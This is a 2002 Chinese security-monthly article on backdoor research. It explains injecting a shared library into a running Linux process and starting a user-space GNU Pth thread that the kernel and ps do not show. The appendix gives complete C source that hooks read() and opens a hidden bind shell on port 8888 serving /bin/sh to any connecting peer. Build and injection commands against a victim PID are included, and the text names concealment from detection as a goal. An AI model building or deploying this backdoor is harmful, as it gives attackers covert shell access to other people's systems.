首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第35期->技术专题
期刊号: 类型: 关键词:
backdoor研究 - 用injectso方法注入线程

作者:jbtzhm <jbtzhm@nsfocus.com>
主页:http://www.nsfocus.com
日期:2002-09-16

背景:
      看了grip2翻译整理的《共享库注射--injectso实例》,颇有感触,只是觉得
inject后通过hook read函数只是得到了一次执行权限,这对于后门的实现稍有不足,
在此尝试实现一下linux下线程注入的方法。其实对于p59_08的这名作者来说,可能本
文的讨论已是injectso技术的细节问题了,可是毕竟细节也是需要我们尝试的吧。

环境:

linux

正文:

对于injectso本身技术不再讨论,实现细节见phrack49-08文档,和grip2的中文整
理,主要思想是通过ptrace实现在一个进程空间载入一个动态库文件,按grip2文档所
说hook了read函数,使得原进程调用read能使我们获得执行可能,我们主要讨论的是
如何linux下用GNU Pth线程库启动一个线程和原程序并行执行(下面解释不用pthread
的理由)。

下面介绍一下线程的概念,线程(thread)技术早在60年代就被提出,但真正应用多
线程到操作系统中去,是在80年代中期,solaris是这方面的佼佼者。传统的Unix也支
持线程的概念,但是在一个进程(process)中只允许有一个线程,这样多线程就意味
着多进程。现在,多线程技术已经被许多操作系统所支持,包括Windows/NT,当然,也
包括Linux。但是线程的实现在类unix下并不相同,基本上分为内核支持方式和用户空
间支持方式,如果线程的上下文切换是在内核中实现的,我们就称之为内核方式实现,
但如果线程的切换是在用户空间进行的我们就称之为用户方式实现,内核并不知情,当
然还有两种方式的混合方式,用户空间中的多个线程在内核空间有相应的内核线程与之
对应(通常我们称此内核线程为LWP-轻级进程)。

好了我们看看linux下线程的实现,linux的线程编程有两个库pthread和pth,对于
pthread的实现是内核方式的实现,每个线程在kernel中都有task结构与之对应,
也就是说用ps命令行是可以看见多个线程,线程的调度也是有内核中的schedule进行
的,这也是我们不采用其进行线程注入的原因(当然如果你不在乎的话,这种实现非常
简单,只要简单的加上pthread_create就可以了),对于linux下还有另一个线程库的实
现pth,它是在用户空间的多线程实现,使用它的好处就是内核并不知道有多线程实
现,因此也不会被察觉进程内有多个分支执行,pth自己对空间内的线程进行管理,用
自己实现的scheduler线程进行调度,但是pth的实现是非抢占方式的,意思就是说一个
线程只有做线程阻塞调用和主动放弃情况下,才有可能去执行调度线程,因此大多数我
们想要注入的程序都不是用pth实现的,因此一旦原程序获得执行可能,它就不可能再
返回给线程调度,也就不可能有我们新建的线程被执行到,因此我们需要需要一个有时
间片的pth的实现,当然在linux下这很简单,我们只要设置定时器setitimer,然后将
SIGALRM信号处理函数指向pth_yield调用,这样只要时间到就让当前线程放弃cpu,转
线程调度就可以了。

    当然在handler函数内部我还是用了fork,这样实现比较简单,而且退出了也就没
了,当然如果你是个完美主义者,在一个进程中实现模拟shell也是可能的。

实现:

gcc -o so.so -shared -fpic -lpth so3.c
./inject [victim pid]
nc localhost 8888

动态库程序的实现见附录,inject程序没有贴上来,可以从injectso文档获取。

参考资料:

grip2翻译整理的《共享库注射--injectso实例》
"GNU Pth - The GNU Portable Threads"

附录:

//so3.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <pth.h>

#define PORT 8888
#define TIMESPEC 50

static void *handler(void *_arg)
{
int fd = (int)_arg;
char *name[2];
if ( fork() == 0 )
{
  dup2( fd, 0 );
  dup2( fd, 1 );
  dup2( fd, 2 );
  close( fd );
  name[0] = "/bin/sh";
  name[1] = 0;
  execve( name[0], name, 0 );
  exit( 0 );
}

wait();

close(fd);
return NULL;
}

/* new thread to get peer connect */
static void *ticker(void *_arg)
{
int sa,sw,peer_len;
struct sockaddr_in sar,peer_addr;

sa = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sar.sin_family = AF_INET;
sar.sin_addr.s_addr = INADDR_ANY;
sar.sin_port = htons(PORT);
bind(sa, (struct sockaddr *)&sar, sizeof(struct sockaddr_in));
listen(sa, 10);
for (;;)
{
  peer_len = sizeof(peer_addr);
  sw = pth_accept(sa, (struct sockaddr *)&peer_addr, &peer_len);
  pth_spawn(PTH_ATTR_DEFAULT, handler, (void *)sw);
  pth_yield(NULL);
}
}

void timeout(int sig)
{
pth_yield(NULL);//yield the cpu to other thread
}

ssize_t  (*oldread)(int fd, void *buf, size_t count);

int flag = 0;

ssize_t  newread(int fd, void *buf, size_t count)
{
ssize_t ret;
FILE *fp;
char ch = '#';
pth_attr_t attr;
struct itimerval value;

ret = oldread(fd, buf, count);
if (flag)
{
//  pth_yield(NULL);
  return ret;
}

flag = 1;

pth_init();
signal(SIGPIPE, SIG_IGN);
signal(SIGALRM, timeout);
attr = pth_attr_new();
pth_attr_set(attr, PTH_ATTR_NAME, "ticker");
pth_attr_set(attr, PTH_ATTR_STACK_SIZE, 64*1024);
pth_attr_set(attr, PTH_ATTR_JOINABLE, FALSE);
pth_spawn(attr, ticker, NULL);

value.it_interval.tv_sec = 0;
value.it_interval.tv_usec = TIMESPEC;
value.it_value.tv_sec = 0;
value.it_value.tv_usec  = TIMESPEC;
setitimer(ITIMER_REAL,&value,NULL);

printf("setitimer here\n");

return ret;
}
版权所有,未经许可,不得转载